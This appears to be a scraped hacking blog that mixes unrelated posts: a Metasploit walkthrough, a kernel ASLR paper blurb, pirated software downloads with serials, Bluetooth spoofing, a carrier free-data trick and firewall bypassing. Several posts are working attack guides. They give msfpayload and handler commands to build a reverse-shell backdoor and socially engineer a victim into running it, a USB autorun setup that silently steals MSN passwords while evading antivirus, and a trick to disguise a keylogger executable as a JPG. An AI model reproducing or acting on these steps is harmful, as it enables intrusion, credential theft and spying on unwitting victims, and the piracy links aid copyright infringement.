Hack Windows 7 with Metasploit

In this tutorial i will exploit a Windows 7 Sp1 OS using Metasploit. i will be using the exploit/multi/handler module which “provides all of the features of the Metasploit payload system to exploits that have been launched  outside of the framework“
Before we fire up Metasploit, we need to create a payload in order to gain a meterpreter shell. To create a payload type this in the terminal without the quotes:


msfpayload windows/meterpreter/reverse_tcp LHOST=”your Local IP” LPORT=”listening port” x > /root/backdoor.exe


I used port 4444 (you can choose your own port) for the LPORT which is the listening port and set the LHOST to the IP of the remote attacker which is obviously your Local IP address, my IP is 192.168.10.5.

After that, you should be able to see a file named as backdoor.exe in /root. Send the file to the victim by using your Social Engineering skills and let him click the file. You can change the name of the file so that it is not that obvious.


Launch Metasploit and set the exploit by typing these commands in your msfconsole:


use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.5
set lport 4444
exploit

If all goes well, you should be able to establish a meterpreter session. Type sysinfo to gather some info on the machine. To know other commands for the meterpreter type help. There are also other meterpreter commands like capturing the screenshot of the PC, record keystrokes, capture a snapshot from a webcam, etc. To enter the command shell of the machine, type shell.
it,s cool to take a screenshot with meterpreter command screenshot.

Bypassing Windows 7 Kernel ASLR

Windows 7 has a nice security about kernel space

Many checks of size, integrity controls and access restrictions are available.For example the “security check” protect our stack if a string is used, many functions like “strcpy()” are deprecated (and some are disallowed) to force developers to have a secure coding.This is why, some attacks were presented as heap overflows in local exploitations (recently Tarjei Mandt)but we don’t see any remote exploitation like we saw in SRV.SYS or other drivers.This lack of remote exploits occurs partially because an ASLR (randomization of memory spaces) is enabled in kernel land. If a hacker doesn’t have any possibilities to jump and execute a payload (ROP, Jmp Eax …) exploitation of the bug isn’t possible. Only a magnificent BSOD could appear in most of the cases.This paper will try to explain how to bypass this protection and improve remote kernel vulnerabilities research!For the use of this document we will consider a remote stack overflow as the main vulnerability

Download PDF

VMware Workstation v7.1.3-32 + serial

VMware Workstation v7.1.3-32 + serial | 560.35 MB


rom the creator of PC virtualization comes the most reliable, secure way to run multiple operating systems at the same time. Winner of more than 50 industry awards, VMware Workstation transforms the way technical professionals develop, test, demo, and deploy software. VMware Workstation is an integral component of any serious technical professional's toolkit.
Get Maximum Performance for Windows 7
VMware Workstation 7 is optimized for maximum performance when running on 32-bit and 64-bit Windows 7 PCs. Supports Flip 3D and Aero Peek to show live thumbnails of your virtual machines. Run legacy application with 3D graphics, faster performance, and tighter desktop integration better than Windows XP Mode. Get shared folders and drag and drop convenience.
Gain an Indispensable Tool
Automate and streamline tasks to save time and improve productivity. Run applications in Linux, Windows, and more at the same time on the same PC with no rebooting. Evaluate and test new operating systems, applications and patches in an isolated environment. Demonstrate complex software applications on a single laptop in a repeatable, reliable manner. Rich integration with Visual Studio, Eclipse, and the SpringSource Tool Suite make it incredibly easy to debug applications on multiple platforms.
Run Your Most Demanding Applications on the Most Advanced Virtualization Platform
Create virtual machines with up to 8 virtual processors or 8 virtual cores, 2 TB virtual disks and up to 32 GB of memory per virtual machine to run the most demanding applications. Protect your virtual machines from prying eyes with 256-bit AES encryption and smart card authentication.




Download :


http://www.filesonic.com/file/928338071/VMware.Workstation.v7.1.3-32.serial.part1.rar
http://www.filesonic.com/file/928380384/VMware.Workstation.v7.1.3-32.serial.part2.rar

How to Enable Registry disabled by Administrator

Hello friends, today i will explain you the solution of very common problem that usually users face i.e whenever you try to open registry editor you get an error message "Registry has been disabled by Your Administrator". It's a very common problem and its solution is also quite simple if you know playing with registry. My main motive is not to provide or directly feed you the solution. I want that you should explore the things. So Let's explore the registry... 

Enable Registry Disabled by Administrator

 

What is Registry?

The Windows Registry is a hierarchical database that stores configuration settings and options on Microsoft Windows operating systems. It contains settings for low-level operating system components as well as the applications running on the platform: the kernel, device drivers, services, SAM, user interface and third party applications all make use of the registry. The registry also provides a means to access counters for profiling system performance.

I know most of you know that registry is called the "BRAIN OF WINDOWS" which store all the information in form of registry keys or technically we call them DWORD or STRING or BINARY or MULTI-STRING values which stores the data into the data in the form the name suggests. 

How to enable the Registry disabled by Administrator?

The following message usually displayed when your system is infected by some virus that changes the registry value and hence you get an error message displaying " Registry is disable by Admin". So to fix it you also have to edit the registry but since your registry has been disabled so you cannot directly access it. For this you need to create one registry file that will update the dword value into the registry database.

Steps to enable registry:

1. Open the Notepad.

2. Copy the below code and paste into the notepad.

Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000000

3. Now save the Notepad file as "anything.reg"(without quotes) and remember to select the file type as all files while saving otherwise you will not been able to execute it.

4. Now Close the file and open by double click on file and then click ok.

How to Do it using GPEDIT.MSC

Just follow this:
Start -> Run -> gpedit.msc -> User Configuration -> Administrative Templates -> System -> Prevent access to registry editing tools -> Right Click Properties -> Disabled

That's all the simple hack to Enable the Registry disabled by Administrator. Isn't that simple...

The Bluetooth Spoofer : Spooftooph

Spooftooph is designed to automate spoofing or cloning Bluetooth device Name, Class, and Address. Cloning this information effectively allows Bluetooth device to hide in plain site. Bluetooth scanning software will only list one of the devices if more than one device in range shares the same device information when the devices are in Discoverable Mode (specifically the same Address).
Well normally most of us never intend to audit the Bluetooth stack in any organization. But this tool could be interesting to use in an environment where Bluetooth devices have been paired with important hardware.

Spooftooph presents us the following features:

• Clone and log Bluetooth device information
• Generate a random new Bluetooth profile
• Change Bluetooth profile every X seconds
• Specify device information for Bluetooth interface
• Select device to clone from scan log

Now this is the best part – it also includes a Man-In-The-Middle mode which makes it easier to clone the Device Profile of two targeted devices. You can also randomly generate Bluetooth NAME, CLASS and ADDR fields or you could do that to random devices info in range every X seconds!  Spooftooph has several options for Bluetooth device information modification:

• Option 1: Continuously scan an area for Bluetooth devices. Make a selection on which device in the list to clone. This option also allows for logging of the scanned devices.
• Option 2: Randomly generate and assign valid Bluetooth interface information. The class and address are randomly generated and the name is derived from a list of the top 100 most common names in US and the type of device. For example if the randomly generated class is a phone, SpoofTooph might generate the name “Bob’s Phone”.
• Option 3: Specify the name, class, and address a user wishes for the Bluetooth interface to have.
• Option 4: Read in the log of previous scans and select a device to clone. Users can also manually add Bluetooth profiles to these log files.
• Option 5: Incognito mode. Scan for and clone new devices at user assigned intervals.

A sample command line could be:

1	spooftooph -i hci0 -n new_name -a 00:11:22:33:44:55 -c 0x1c010c

Download Spooftooph v0.4 (spooftooph-0.4.tar.gz)here

Airtel/Tata Docomo/Aircel Free gprs on Pc on 2G-3G Network

Airtel/Tata Docomo/Aircel Free gprs on Pc on 2G-3G Network

Tools which we are going to need


1.Tsunami VPN Client - Click here to Download Tsunami VPN Client


Features:

High Speed

Free With Airtel, Aircel And DOcomo

Airtel users use : airtelgprs.com

Tata Docomo users use : tata.docomo.internet

Aircel users use : aircelgprs

Procedure :

1.Register an Account on Tsunami VPN :

Click here for Tsunami VPN Registration

2.Now Install the downloaded Tsunami VPN Client

3.Now On Your desktop you will find three icons related to tsunami VPN

4.First run Enter Username_Password.exe and enter your Tsunami VPN username and password

5.Now either Run Tsunami VPN Vista_7 or Tsunami VPN_Windows xp found on your desktop
according to your OS.

6.Now Connect to any UDP 53 Port Server....(Free Trial = No Access to LAX1, LAX2, and LAX3 Servers)

7.Trick Can Be USed ON 3G and 2G Network....

8.Note :

Airtel users use the trick on below 30p balance only....

Tata Docomo users use the trick on Rs 1 balance only...

Aircel users use the trick on 10p balance only......

Don't try to connect on high balance....
You At Your Own Risk

Get The Msn Password From Usb Stick

the first thing you need is an U3 USB-Stick. ( this are usb sticks which support the autostart function )

--- then you download mspass here click me

--- You open your USB stick and make a new text document which is called Autostart. this is what you write into this file:
---------------------------------
[Autostart]
open=launch.bat
ACTION = myusbstick
---------------------------------
( After writing this you have to save the file as "Autostart.inf", "myusbstick" is of course the name of your usb stick :D )

--- Then you make a folder called mspass, in this folder you copy the downloaded mspass.exe

--- Then you make a .bat file which is named launch.bat
in this file you write
---------------------------------
start mspass\mspass.exe /stext mspass.txt
---------------------------------


oke this is all you have to do. the trick with the folder and the launch.bat is, that the antivirus programs don't detect them so fast.
when everything is ok, it should work like that:

you put the usb stick into any computer, the autostart.inf will launch the mspass. After a few seconds you can remove the usb stick, and there will be a new .txt file in which the msn password is written.

Enjoy hacking,

What is svchost.exe And Why Is It Running?

What is svchost.exe And Why Is It Running?
You are no doubt reading this article because you are wondering why on earth there are nearly a dozen processes running with the name svchost.exe. You can't kill them, and you don't remember starting them… so what are they?
So What Is It?
According to Microsoft: "svchost.exe is a generic host process name for services that run from dynamic-link libraries". Could we have that in english please?
Some time ago, Microsoft started moving all of the functionality from internal Windows services into .dll files instead of .exe files. From a programming perspective this makes more sense for reusability… but the problem is that you can't launch a .dll file directly from Windows, it has to be loaded up from a running executable (.exe). Thus the svchost.exe process was born.
Why Are There So Many svchost.exes Running?
If you've ever taken a look at the Services section in control panel you might notice that there are a Lot of services required by Windows. If every single service ran under a single svchost.exe instance, a failure in one might bring down all of Windows… so they are separated out.
Those services are organized into logical groups, and then a single svchost.exe instance is created for each group. For instance, one svchost.exe instance runs the 3 services related to the firewall. Another svchost.exe instance might run all the services related to the user interface, and so on.
So What Can I Do About It?
You can trim down unneeded services by disabling or stopping the services that don't absolutely need to be running. Additionally, if you are noticing very heavy CPU usage on a single svchost.exe instance you can restart the services running under that instance.
The biggest problem is identifying what services are being run on a particular svchost.exe instance… we'll cover that below.
If you are curious what we're talking about, just open up Task Manager and check the "Show processes from all users" box:

Checking From the Command Line (Vista or XP)
If you want to see what services are being hosted by a particular svchost.exe instance, you can use the tasklist command from the command prompt in order to see the list of services.

tasklist /SVC

The problem with using the command line method is that you don't necessarily know what these cryptic names refer to.
Checking in Task Manager in Vista
You can right-click on a particular svchost.exe process, and then choose the "Go to Service" option.

This will flip over to the Services tab, where the services running under that svchost.exe process will be selected:

The great thing about doing it this way is that you can see the real name under the Description column, so you can choose to disable the service if you don't want it running.
Using Process Explorer in Vista or XP
You can use the excellent Process Explorer utility from Microsoft/Sysinternals to see what services are running as a part of a svchost.exe process.
Hovering your mouse over one of the processes will show you a popup list of all the services:

Or you can double-click on a svchost.exe instance and select the Services tab, where you can choose to stop one of the services if you choose.

Disabling Services
Open up Services from the administrative tools section of Control Panel, or type services.msc into the start menu search or run box.
Find the service in the list that you'd like to disable, and either double-click on it or right-click and choose Properties.

Change the Startup Type to Disabled, and then click the Stop button to immediately stop it.

You could also use the command prompt to disable the service if you choose. In this command "trkwks" is the Service name from the above dialog, but if you go back to the tasklist command at the beginning of this article you'll notice you can find it there as well.

sc config trkwks start= disabled

How to run JPG as an EXE

I have searched on this forum and have not found this method anywhere so I decided to post it. Note I have used this method for years and it works on every Windows OS.

Requirements:
Windows
Your EXE.

Step 1 :

First things make a New Folder



Step 2 :

Place your server .exe inside of the folder.



Step 3 :

Right click and drag your server.exe inside your folder and press "Create Shortcut Here"



Step 4 :

Making sure that your have extension enabled in Windows then rename your server to something legit like IMG_0163.JPG.



Step 5 :

Right click on the server.exe Shortcut and go into Properties and change the Target: To the following

"C:\WINDOWS\system32\cmd.exe /c IMG_0163.jpg"
*Note* Put whatever the filename you have is where I put the "IMG_0163.jpg"



Step 6 :

While in the shortcut properties click Change Icon and look for an .ico file that is the same exact as your .JPG file



Step 7 :

Finally Rename your shortcut to another .JPG file like IMG_0164.JPG



Conclusion + Things to note

Now when you run your shortcut file it will automatically run the select JPG as an EXE. However an ugly CMD box will pop up which makes it a bit obvious. But at this point it is already too late because your server/kelogger/stealer is already running on their system. This is how it looks in the task manager so you could see its the actual JPG running.




The slave has to run the Shortcut so that the JPG would run

How To Bypass Firewalls To View Restricted Sites in Offices & Schools

Q1) What Method i will be using ?

Ans : I will be using a method called SSH tunneling

Q2) What is SSH ? and What does it exactly do?

Ans : Secure Shell or SSH is a network protocol that allows data to be exchanged using a secure channel between two networked devices and all traffic are encrypted not like ftp or telnet were all the messages are sent in plain text

So if we encrypt our connection even a firewall or a proxy wont know were we connecting .Follow the setps given bellow to make a ssh tunnel

Q3) Things we need ?

Ans : 1. Putty you can download from here

2. A SSH account there are lots free ssh services providers try
googling them

Q4) Setting up a SSH Tunnel With Putty ?

Ans : 1. After u download open putty now enter the host name as SSH

account which we created earlier and enter the port as 22


2. Now go To SSH options and open tunnels now Change Source port
to 8080 and click Dynamic. and finally click open

3. Now login with your details .Now we will configure Mozilla firefox to use
SSH connection.


4. Now open Firefox and Go to the "Tools" menu and then Options and
Go to the "Advanced" button, the "Network" tab, and then click
"Settings

5. In the connection settings enter "localhost" as the "Socks Host and
your port number, such as "1080" into the "Port:" field .thats it
now all connections are encrypted thus bypassing firewall or proxy


If you want view the packets u can use wire shark

Windows 7 Manager 2.0.2 (x86/x64)

Why Should I use Windows 7 Manager?

Windows 7 is the newest Operating System for home users and professionals alike. Windows 7 brings clarity to your world, so you can more safely and easily accomplish everyday tasks and instantly find what you want on your PC.

Windows 7 Manager is the powerful software tool to tweak and optimize your Windows 7, it bundles more than 30 different utilities in one and help your system faster and more stable, secure and personal!

Features and Benefits of Windows 7 Manager

Information

Get detailed system and all hardware information on your system; help you find out the installation key of Windows, Office products; show all detailed information of running processes and threads on your machine; Windows 7 Manager offers 1-clicking cleans your system automatically.

Optimizer
Tweak your system to improve windows startup and shutdown speed; tweak your hardware to increase system speed and performance; Optimize Task Schedule to turn off unnecessary system tasks.

Cleaner
Find out which files or folders engross your disk space and shown with chart; Find and clean junk files to increase Hard Disk space; Duplicate Files Finder can scan your computer for files with the same size, name and modification time; Registry Cleaner can easily checks your registry and repair incorrectly linked registry entries, automatically remove invalid entries; Registry Defrag rebuilds and re-indexs your registry to reduce application response time and registry access time.

Customization
Control what is started on Windows startup; tune up Windows 7 boot menu; edit context menus of mouse Right-Clicking; customize system desktop, menus, toolbar and notifications settings; automatically change your desktop wallpaper on background.

Security
You can improve desktop, menus, Windows logon securities, and enable numerous hidden performance options of system, disable system updates and error reports; hide and restrict to access drives, specify which applications are not allowed to be executed on your computer; encrypt/decrypt and shred files, change the location of system folders; Privacy Protector can maintain your personal privacy by eliminating the tracks that you leave behind; create lots of randomization password once.

Network
Optimize your Internet connection speed, manage all shares items; tweak your Internet Explorer easily.

Misc. Utilities
Show the collection of Windows utilities; split and merge any file.
Windows 7 Manager 2.0.2 (x86/x64).Incl.Serial
Download : | FileSonic | DepositFiles | Turbobit |